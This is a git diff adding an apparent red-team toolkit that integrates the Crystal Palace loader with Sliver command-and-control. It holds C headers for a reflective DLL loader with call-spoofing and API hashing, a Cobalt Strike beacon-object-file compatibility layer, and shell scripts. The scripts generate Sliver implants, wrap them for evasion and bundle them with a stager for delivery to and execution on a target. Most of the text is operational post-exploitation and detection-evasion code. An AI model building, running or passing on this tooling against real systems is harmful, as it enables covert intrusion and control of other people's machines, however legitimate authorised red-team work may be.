b/crystal-kit-sliver/postex-loader/src/spoof.h new file mode 100644 index 0000000..a06584b --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/spoof.h @@ -0,0 +1,9 @@ +#define spoof_arg(x) ( ULONG_PTR ) ( x ) + +typedef struct { + PVOID ptr; + int argc; + ULONG_PTR args[10]; +} FUNCTION_CALL; + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ); diff --git a/crystal-kit-sliver/postex-loader/src/tcg.h b/crystal-kit-sliver/postex-loader/src/tcg.h new file mode 100644 index 0000000..553836d --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/tcg.h @@ -0,0 +1,102 @@ +/* + * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild + * + * Redistribution and use in source and binary forms, with or without modification, are + * permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this list of + * conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, this list of + * conditions and the following disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its contributors may be used to + * endorse or promote products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +// used by both the Pico Loader and DLL loader +typedef struct { + __typeof__(LoadLibraryA) * LoadLibraryA; + __typeof__(GetProcAddress) * GetProcAddress; +} IMPORTFUNCS; + +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + +#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) +#define DEREF( name )*(UINT_PTR *)(name) + +typedef struct { + IMAGE_DOS_HEADER * DosHeader; + IMAGE_NT_HEADERS * NtHeaders; + IMAGE_OPTIONAL_HEADER * OptionalHeader; +} DLLDATA; + +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + +/* + * printf-style debugging. + */ +void dprintf(char * format, ...); + +/* + * PICO running functions + */ +typedef void (*PICOMAIN_FUNC)(char * arg); + +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); +PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); +int PicoCodeSize(char * src); +int PicoDataSize(char * src); +void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); + +/* + * Resolve functions by walking the export address table + */ +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); + +/* + * DLL parsing and loading functions + */ +typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); + +DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); +IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); +void LoadDLL(DLLDATA * dll, char * src, char * dst); +void LoadSections(DLLDATA * dll, char * src, char * dst); +void ParseDLL(char * src, DLLDATA * data); +void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); +void ProcessRelocations(DLLDATA * dll, char * src, char * dst); +DWORD SizeOfDLL(DLLDATA * data); + +/* + * A macro to figure out our caller + * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 + */ +#ifdef __MINGW32__ +#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) +#else +#pragma intrinsic(_ReturnAddress) +#define WIN_GET_CALLER() _ReturnAddress() +#endif \ No newline at end of file diff --git a/crystal-kit-sliver/sliver-glue/Makefile b/crystal-kit-sliver/sliver-glue/Makefile new file mode 100644 index 0000000..f1b4de7 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/Makefile @@ -0,0 +1,34 @@ +SHELL := /bin/bash + +REPO_ROOT := $(abspath ..) +LOADER_DIR := $(REPO_ROOT)/loader +POSTEX_DIR := $(REPO_ROOT)/postex-loader +BUILD_DIR := build + +.PHONY: all objects clean help + +help: + @echo "Targets:" + @echo " objects Build all .o/.bin objects under loader/ and postex-loader/" + @echo " package Package crystal-loader.x64.dll + extension.json as a tarball" + @echo " (requires crystal-loader.x64.dll to be present, see step 6)" + @echo " clean Remove build artefacts" + @echo "" + @echo "Scripts:" + @echo " ./generate.sh [args-file] [output.bin]" + @echo " ./generate-implant.sh [output.bin]" + @echo " ./pack-extension.sh [output.tar.gz]" + @echo "" + @echo "Required env: CRYSTAL_PALACE_HOME (dir with crystalpalace.jar)" + +objects: + $(MAKE) -C $(LOADER_DIR) all + $(MAKE) -C $(POSTEX_DIR) all + +package: + @./pack-extension.sh $(BUILD_DIR)/crystal-loader-0.1.0.tar.gz + +clean: + $(MAKE) -C $(LOADER_DIR) clean + $(MAKE) -C $(POSTEX_DIR) clean + rm -rf $(BUILD_DIR) diff --git a/crystal-kit-sliver/sliver-glue/bundle-implant.sh b/crystal-kit-sliver/sliver-glue/bundle-implant.sh new file mode 100755 index 0000000..312c7e7 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/bundle-implant.sh @@ -0,0 +1,62 @@ +#!/usr/bin/env bash +# +# bundle-implant.sh — package a Crystal-wrapped Sliver implant PICO together +# with the Crystal Palace 'run.x64.exe' stager into a single operator drop. +# +# Use case A (primary): initial-access evasion. The operator delivers BOTH +# files to the target and executes: +# run.x64.exe .bin +# This invokes the Crystal Palace loader, which unmasks the Sliver implant +# DLL in memory and runs it under the evasion stack. +# +# Required env: +# CRYSTAL_PALACE_HOME Crystal Palace dist/ dir (provides run.x64.exe) +# +# Usage: +# ./bundle-implant.sh [output.zip] + +set -euo pipefail + +: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}" + +IMPLANT_BIN="${1:?Usage: bundle-implant.sh [output.zip]}" +OUTPUT="${2:-./build/crystal-implant-drop.zip}" + +if [[ ! -f "$IMPLANT_BIN" ]]; then + echo "error: PICO not found: $IMPLANT_BIN" >&2 + exit 2 +fi + +STAGER="$CRYSTAL_PALACE_HOME/demo/run.x64.exe" +if [[ ! -f "$STAGER" ]]; then + echo "error: run.x64.exe not found at $STAGER" >&2 + echo " It ships with the Crystal Palace distribution (demo/ folder)." >&2 + exit 2 +fi + +BUILD_DIR="$(dirname "$OUTPUT")" +mkdir -p "$BUILD_DIR" + +STAGE="$(mktemp -d)" +trap 'rm -rf "$STAGE"' EXIT + +cp "$STAGER" "$STAGE/run.x64.exe" +cp "$IMPLANT_BIN" "$STAGE/$(basename "$IMPLANT_BIN")" + +cat > "$STAGE/README.txt" < [output.bin] +# Generates a fresh implant DLL via sliver-server then wraps it. +# +# ./generate-implant.sh --dll [output.bin] +# Wraps an existing DLL (useful for testing without Sliver, or for +# wrapping any third-party Windows DLL meant to be position-independent). +# +# Verified CLI of the underlying linker: +# ./link [%KEY=value] + +set -euo pipefail + +: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}" + +usage() { + cat < [output.bin] + $0 --dll [output.bin] +EOF + exit 2 +} + +MODE="" +ARG="" +OUTPUT="./build/crystal-implant.x64.bin" + +if [[ $# -lt 2 ]]; then usage; fi + +case "$1" in + --profile) MODE="profile"; ARG="$2";; + --dll) MODE="dll"; ARG="$2";; + *) usage;; +esac + +[[ $# -ge 3 ]] && OUTPUT="$3" + +REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +LOADER_DIR="$REPO_ROOT/loader" +BUILD_DIR="$(dirname "$OUTPUT")" +mkdir -p "$BUILD_DIR" + +OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")" + +if [[ "$MODE" == "profile" ]]; then + : "${SLIVER_SERVER:=sliver-server}" + IMPLANT_DLL="$(cd "$BUILD_DIR" && pwd)/${ARG}.dll" + echo "[*] Generating Sliver implant DLL from profile: $ARG" + "$SLIVER_SERVER" generate \ + --profile "$ARG" \ + --format shared \ + --os windows --arch amd64 \ + --save "$IMPLANT_DLL" +else + IMPLANT_DLL="$(cd "$(dirname "$ARG")" && pwd)/$(basename "$ARG")" + if [[ ! -f "$IMPLANT_DLL" ]]; then + echo "error: DLL not found: $IMPLANT_DLL" >&2 + exit 2 + fi + echo "[*] Using pre-built DLL: $IMPLANT_DLL" +fi + +if [[ ! -x "$CRYSTAL_PALACE_HOME/link" ]]; then + echo "error: 'link' wrapper not executable at $CRYSTAL_PALACE_HOME/link" >&2 + exit 2 +fi + +if [[ ! -f "$REPO_ROOT/libtcg.x64.zip" ]]; then + echo "error: libtcg.x64.zip missing at $REPO_ROOT/libtcg.x64.zip" >&2 + exit 2 +fi + +echo "[*] Building loader objects" +make -C "$LOADER_DIR" all + +echo "[*] Running Crystal Palace linker on loader/loader.spec" +cd "$LOADER_DIR" +"$CRYSTAL_PALACE_HOME/link" \ + loader.spec \ + "$IMPLANT_DLL" \ + "$OUTPUT" + +echo "[+] Crystal-wrapped implant PICO at: $OUTPUT" +echo "[i] Deliver this PICO together with a stager (e.g. run.x64.exe from the" +echo " Crystal Palace demo/) to the target. Execute on target with:" +echo " run.x64.exe $(basename "$OUTPUT")" diff --git a/crystal-kit-sliver/sliver-glue/generate.sh b/crystal-kit-sliver/sliver-glue/generate.sh new file mode 100755 index 0000000..4d52708 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/generate.sh @@ -0,0 +1,73 @@ +#!/usr/bin/env bash +# +# generate.sh — wrap a post-ex DLL through Crystal Palace into a PICO .bin +# +# Required env: +# CRYSTAL_PALACE_HOME directory containing crystalpalace.jar AND the 'link' wrapper +# +# Usage: +# ./generate.sh [args-file] [output.bin] +# +# Defaults: +# args-file → empty file +# output.bin → ./build/crystal-postex.x64.bin +# +# Verified CLI: +# ./link [A=hex] [%B=val] [@config.spec] + +set -euo pipefail + +: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir (contains crystalpalace.jar + link script)}" + +INPUT_DLL="${1:?Usage: generate.sh [args-file] [output.bin]}" +ARGS_FILE="${2:-}" +OUTPUT="${3:-./build/crystal-postex.x64.bin}" + +REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +POSTEX_DIR="$REPO_ROOT/postex-loader" +BUILD_DIR="$(dirname "$OUTPUT")" + +mkdir -p "$BUILD_DIR" + +# Resolve OUTPUT to absolute path BEFORE we cd into postex-loader +OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")" + +if [[ -z "$ARGS_FILE" ]]; then + ARGS_FILE="$BUILD_DIR/empty.args" + : > "$ARGS_FILE" +fi +ARGS_FILE_ABS="$(cd "$(dirname "$ARGS_FILE")" && pwd)/$(basename "$ARGS_FILE")" + +INPUT_DLL_ABS="$(cd "$(dirname "$INPUT_DLL")" && pwd)/$(basename "$INPUT_DLL")" + +if [[ ! -f "$INPUT_DLL_ABS" ]]; then + echo "error: input DLL not found: $INPUT_DLL" >&2 + exit 2 +fi + +if [[ ! -x "$CRYSTAL_PALACE_HOME/link" ]]; then + echo "error: 'link' wrapper not found or not executable at $CRYSTAL_PALACE_HOME/link" >&2 + exit 2 +fi + +if [[ ! -f "$REPO_ROOT/libtcg.x64.zip" ]]; then + echo "error: libtcg.x64.zip missing at $REPO_ROOT/libtcg.x64.zip" >&2 + echo " Copy it from the upstream Crystal-Kit repo. See docs/TOOLCHAIN.md." >&2 + exit 2 +fi + +echo "[*] Building postex-loader objects" +make -C "$POSTEX_DIR" all + +echo "[*] Running Crystal Palace linker (./link) on postex-loader/loader.spec" +# Spec references 'bin/*.o' and '../libtcg.x64.zip' relative to its own dir, +# so we cd into postex-loader before invoking link. +cd "$POSTEX_DIR" +"$CRYSTAL_PALACE_HOME/link" \ + loader.spec \ + "$INPUT_DLL_ABS" \ + "$OUTPUT" \ + %ARGFILE="$ARGS_FILE_ABS" + +echo "[+] Crystal-wrapped PICO at: $OUTPUT" +echo "[i] Next: feed this .bin to the crystal-loader Sliver Extension via 'crystal payload=$OUTPUT'" diff --git a/crystal-kit-sliver/sliver-glue/pack-extension.sh b/crystal-kit-sliver/sliver-glue/pack-extension.sh new file mode 100755 index 0000000..6e43182 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/pack-extension.sh @@ -0,0 +1,41 @@ +#!/usr/bin/env bash +# +# pack-extension.sh — package the crystal-loader Sliver Extension as a tarball +# installable via 'extensions install' in the Sliver client. +# +# Usage: +# ./pack-extension.sh [output.tar.gz] +# +# Expects crystal-loader.x64.dll (the runtime DLL wrapper around the PICO loader) +# to be present in this directory. That DLL is the step-6 deliverable and is NOT +# produced by generate.sh — generate.sh produces the PICO .bin that the wrapper +# consumes at runtime. + +set -euo pipefail + +OUTPUT="${1:-./build/crystal-loader-0.1.0.tar.gz}" +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +BUILD_DIR="$(dirname "$OUTPUT")" + +mkdir -p "$BUILD_DIR" + +DLL="$SCRIPT_DIR/crystal-loader.x64.dll" +MANIFEST="$SCRIPT_DIR/extension.json" + +if [[ ! -f "$DLL" ]]; then + echo "error: $DLL not found." >&2 + echo " The DLL wrapper around the PICO loader is a step-6 deliverable." >&2 + echo " See docs/PORTING_MAP.md §7 point 1 for context." >&2 + exit 2 +fi + +if [[ ! -f "$MANIFEST" ]]; then + echo "error: $MANIFEST not found." >&2 + exit 2 +fi + +echo "[*] Creating Sliver Extension tarball: $OUTPUT" +tar -C "$SCRIPT_DIR" -czf "$OUTPUT" extension.json crystal-loader.x64.dll + +echo "[+] Done. Install on Sliver client with:" +echo " extensions install $OUTPUT" diff --git a/crystal-kit-sliver/sliver-glue/wrapper/Makefile b/crystal-kit-sliver/sliver-glue/wrapper/Makefile new file mode 100644 index 0000000..d6642ad --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/wrapper/Makefile @@ -0,0 +1,23 @@ +CC_64 := x86_64-w64-mingw32-gcc +CFLAGS := -Wall -Os -DBUILD_DLL +LDFLAGS := -shared -Wl,--subsystem,windows + +TARGET := crystal-loader.x64.dll +SRCS := crystal-loader.c beacon_compatibility.c +OUTDIR := ../ + +.PHONY: all clean smoketest + +all: $(OUTDIR)$(TARGET) + +$(OUTDIR)$(TARGET): $(SRCS) + $(CC_64) $(CFLAGS) $(SRCS) -o $(OUTDIR)$(TARGET) $(LDFLAGS) + +smoketest: $(OUTDIR)build/smoketest.bin + +$(OUTDIR)build/smoketest.bin: smoketest.asm + mkdir -p $(OUTDIR)build + nasm -f bin smoketest.asm -o $(OUTDIR)build/smoketest.bin + +clean: + rm -f $(OUTDIR)$(TARGET) $(OUTDIR)build/smoketest.bin diff --git a/crystal-kit-sliver/sliver-glue/wrapper/beacon.h b/crystal-kit-sliver/sliver-glue/wrapper/beacon.h new file mode 100644 index 0000000..3613159 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/wrapper/beacon.h @@ -0,0 +1,61 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Cobalt Strike 4.1. + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_ERROR 0x0d +#define CALLBACK_OUTPUT_UTF8 0x20 + +DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); diff --git a/crystal-kit-sliver/sliver-glue/wrapper/beacon_compatibility.c b/crystal-kit-sliver/sliver-glue/wrapper/beacon_compatibility.c new file mode 100644 index 0000000..939c626 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/wrapper/beacon_compatibility.c @@ -0,0 +1,402 @@ +/* + * Cobalt Strike 4.X BOF compatibility layer + * ----------------------------------------- + * The whole point of these files are to allow beacon object files built for CS + * to run fine inside of other tools without recompiling. + * + * Built off of the beacon.h file provided to build for CS. + */ +#include +#include +#include +#include +#ifdef _WIN32 +#include + +#include "beacon_compatibility.h" + +#define DEFAULTPROCESSNAME "rundll32.exe" +#ifdef _WIN64 +#define X86PATH "SysWOW64" +#define X64PATH "System32" +#else +#define X86PATH "System32" +#define X64PATH "sysnative" +#endif + + + /* Data Parsing */ +unsigned char* InternalFunctions[30][2] = { + {(unsigned char*)"BeaconDataParse", (unsigned char*)BeaconDataParse}, + {(unsigned char*)"BeaconDataInt", (unsigned char*)BeaconDataInt}, + {(unsigned char*)"BeaconDataShort", (unsigned char*)BeaconDataShort}, + {(unsigned char*)"BeaconDataLength", (unsigned char*)BeaconDataLength}, + {(unsigned char*)"BeaconDataExtract", (unsigned char*)BeaconDataExtract}, + {(unsigned char*)"BeaconFormatAlloc", (unsigned char*)BeaconFormatAlloc}, + {(unsigned char*)"BeaconFormatReset", (unsigned char*)BeaconFormatReset}, + {(unsigned char*)"BeaconFormatFree", (unsigned char*)BeaconFormatFree}, + {(unsigned char*)"BeaconFormatAppend", (unsigned char*)BeaconFormatAppend}, + {(unsigned char*)"BeaconFormatPrintf", (unsigned char*)BeaconFormatPrintf}, + {(unsigned char*)"BeaconFormatToString", (unsigned char*)BeaconFormatToString}, + {(unsigned char*)"BeaconFormatInt", (unsigned char*)BeaconFormatInt}, + {(unsigned char*)"BeaconPrintf", (unsigned char*)BeaconPrintf}, + {(unsigned char*)"BeaconOutput", (unsigned char*)BeaconOutput}, + {(unsigned char*)"BeaconUseToken", (unsigned char*)BeaconUseToken}, + {(unsigned char*)"BeaconRevertToken", (unsigned char*)BeaconRevertToken}, + {(unsigned char*)"BeaconIsAdmin", (unsigned char*)BeaconIsAdmin}, + {(unsigned char*)"BeaconGetSpawnTo", (unsigned char*)BeaconGetSpawnTo}, + {(unsigned char*)"BeaconSpawnTemporaryProcess", (unsigned char*)BeaconSpawnTemporaryProcess}, + {(unsigned char*)"BeaconInjectProcess", (unsigned char*)BeaconInjectProcess}, + {(unsigned char*)"BeaconInjectTemporaryProcess", (unsigned char*)BeaconInjectTemporaryProcess}, + {(unsigned char*)"BeaconCleanupProcess", (unsigned char*)BeaconCleanupProcess}, + {(unsigned char*)"toWideChar", (unsigned char*)toWideChar}, + {(unsigned char*)"LoadLibraryA", (unsigned char*)LoadLibraryA}, + {(unsigned char*)"GetProcAddress", (unsigned char*)GetProcAddress}, + {(unsigned char*)"GetModuleHandleA", (unsigned char*)GetModuleHandleA}, + {(unsigned char*)"FreeLibrary", (unsigned char*)FreeLibrary}, + {(unsigned char*)"__C_specific_handler", NULL} + +}; + +uint32_t swap_endianess(uint32_t indata) { + uint32_t testint = 0xaabbccdd; + uint32_t outint = indata; + if (((unsigned char*)&testint)[0] == 0xdd) { + ((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3]; + ((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2]; + ((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1]; + ((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0]; + } + return outint; +} + +char* beacon_compatibility_output = NULL; +int beacon_compatibility_size = 0; +int beacon_compatibility_offset = 0; + +void BeaconDataParse(datap* parser, char* buffer, int size) { + if (parser == NULL || buffer == NULL) { + return; + } + + parser->original = buffer; + parser->buffer = buffer; + parser->length = size - 4; + parser->size = size - 4; + parser->buffer += 4; + return; +} + +int BeaconDataInt(datap* parser) { + if (parser == NULL) { + return 0; + } + + int32_t fourbyteint = 0; + if (parser->length < 4) { + return 0; + } + memcpy(&fourbyteint, parser->buffer, 4); + parser->buffer += 4; + parser->length -= 4; + return (int)fourbyteint; +} + +short BeaconDataShort(datap* parser) { + if (parser == NULL) { + return 0; + } + + int16_t retvalue = 0; + if (parser->length < 2) { + return 0; + } + memcpy(&retvalue, parser->buffer, 2); + parser->buffer += 2; + parser->length -= 2; + return (short)retvalue; +} + +int BeaconDataLength(datap* parser) { + if (parser == NULL) { + return 0; + } + + return parser->length; +} + +char* BeaconDataExtract(datap* parser, int* size) { + if (parser == NULL) { + return NULL; + } + + uint32_t length = 0; + char* outdata = NULL; + /*Length prefixed binary blob, going to assume uint32_t for this.*/ + if (parser->length < 4) { + return NULL; + } + memcpy(&length, parser->buffer, 4); + parser->buffer += 4; + + outdata = parser->buffer; + if (outdata == NULL) { + return NULL; + } + parser->length -= 4; + parser->length -= length; + parser->buffer += length; + if (size != NULL && outdata != NULL) { + *size = length; + } + return outdata; +} + +/* format API */ + +void BeaconFormatAlloc(formatp* format, int maxsz) { + if (format == NULL) { + return; + } + + format->original = calloc(maxsz, 1); + format->buffer = format->original; + format->length = 0; + format->size = maxsz; + return; +} + +void BeaconFormatReset(formatp* format) { + if (format == NULL) { + return; + } + + memset(format->original, 0, format->size); + format->buffer = format->original; + format->length = format->size; + return; +} + +void BeaconFormatFree(formatp* format) { + if (format == NULL) { + return; + } + if (format->original) { + free(format->original); + format->original = NULL; + } + format->buffer = NULL; + format->length = 0; + format->size = 0; + return; +} + +void BeaconFormatAppend(formatp* format, char* text, int len) { + if (format == NULL || text == NULL) { + return; + } + + memcpy(format->buffer, text, len); + format->buffer += len; + format->length += len; + return; +} + +void BeaconFormatPrintf(formatp* format, char* fmt, ...) { + if (format == NULL || fmt == NULL) { + return; + } + + /*Take format string, and sprintf it into here*/ + va_list args; + int length = 0; + + va_start(args, fmt); + length = vsnprintf(NULL, 0, fmt, args); + va_end(args); + if (format->length + length + 1 > format->size) { + return; + } + + va_start(args, fmt); + (void)vsnprintf(format->buffer, length + 1, fmt, args); + va_end(args); + format->length += length; + format->buffer += length; + return; +} + + +char* BeaconFormatToString(formatp* format, int* size) { + if (format == NULL || size == NULL) { + return NULL; + } + + *size = format->length; + return format->original; +} + +void BeaconFormatInt(formatp* format, int value) { + if (format == NULL) { + return; + } + + uint32_t indata = value; + uint32_t outdata = 0; + if (format->length + 4 > format->size) { + return; + } + outdata = swap_endianess(indata); + memcpy(format->buffer, &outdata, 4); + format->length += 4; + format->buffer += 4; + return; +} + +/* Main output functions */ + +void BeaconPrintf(int type, char* fmt, ...) { + if (fmt == NULL) { + return; + } + + /* Change to maintain internal buffer, and return after done running. */ + int length = 0; + char* tempptr = NULL; + va_list args; + va_start(args, fmt); + vprintf(fmt, args); + va_end(args); + + va_start(args, fmt); + length = vsnprintf(NULL, 0, fmt, args); + va_end(args); + tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + length + 1); + if (tempptr == NULL) { + return; + } + beacon_compatibility_output = tempptr; + memset(beacon_compatibility_output + beacon_compatibility_offset, 0, length + 1); + va_start(args, fmt); + length = vsnprintf(beacon_compatibility_output + beacon_compatibility_offset, length +1, fmt, args); + beacon_compatibility_size += length; + beacon_compatibility_offset += length; + va_end(args); + return; +} + +void BeaconOutput(int type, char* data, int len) { + if (data == NULL) { + return; + } + + char* tempptr = NULL; + tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + len + 1); + beacon_compatibility_output = tempptr; + if (tempptr == NULL) { + return; + } + memset(beacon_compatibility_output + beacon_compatibility_offset, 0, len + 1); + memcpy(beacon_compatibility_output + beacon_compatibility_offset, data, len); + beacon_compatibility_size += len; + beacon_compatibility_offset += len; + return; +} + +/* Token Functions */ + +BOOL BeaconUseToken(HANDLE token) { + /* Probably needs to handle DuplicateTokenEx too */ + SetThreadToken(NULL, token); + return TRUE; +} + +void BeaconRevertToken(void) { + if (!RevertToSelf()) { +#ifdef DEBUG + printf("RevertToSelf Failed!\n"); +#endif + } + return; +} + +BOOL BeaconIsAdmin(void) { + /* Leaving this to be implemented by people needing it */ +#ifdef DEBUG + printf("BeaconIsAdmin Called\n"); +#endif + return FALSE; +} + +/* Injection/spawning related stuffs + * + * These functions are basic place holders, and if implemented into something + * real should be just calling internal functions for your tools. */ +void BeaconGetSpawnTo(BOOL x86, char* buffer, int length) { + char* tempBufferPath = NULL; + if (buffer == NULL) { + return; + } + if (x86) { + tempBufferPath = "C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME; + } + else { + tempBufferPath = "C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME; + } + + if ((int)strlen(tempBufferPath) > length) { + return; + } + memcpy(buffer, tempBufferPath, strlen(tempBufferPath)); + return; +} + +BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo) { + BOOL bSuccess = FALSE; + if (x86) { + bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo); + } + else { + bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo); + } + return bSuccess; +} + +void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len) { + /* Leaving this to be implemented by people needing/wanting it */ + return; +} + +void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len) { + /* Leaving this to be implemented by people needing/wanting it */ + return; +} + +void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo) { + if (pInfo != NULL) { + (void)CloseHandle(pInfo->hThread); + (void)CloseHandle(pInfo->hProcess); + } + return; +} + +BOOL toWideChar(char* src, wchar_t* dst, int max) { + if (max < sizeof(wchar_t)) + return FALSE; + return MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t)); +} + +char* BeaconGetOutputData(int *outsize) { + if (outsize == NULL) { + return NULL; + } + + char* outdata = beacon_compatibility_output; + *outsize = beacon_compatibility_size; + beacon_compatibility_output = NULL; + beacon_compatibility_size = 0; + beacon_compatibility_offset = 0; + return outdata; +} + +#endif diff --git a/crystal-kit-sliver/sliver-glue/wrapper/beacon_compatibility.h b/crystal-kit-sliver/sliver-glue/wrapper/beacon_compatibility.h new file mode 100644 index 0000000..9bb4244 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/wrapper/beacon_compatibility.h @@ -0,0 +1,66 @@ +/* + * Cobalt Strike 4.X BOF compatibility layer + * ----------------------------------------- + * The whole point of these files are to allow beacon object files built for CS + * to run fine inside of other tools without recompiling. + * + * Built off of the beacon.h file provided to build for CS. + */ +#ifndef BEACON_COMPATIBILITY_H_ + /* Structures as is in beacon.h */ +extern unsigned char* InternalFunctions[30][2]; +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + 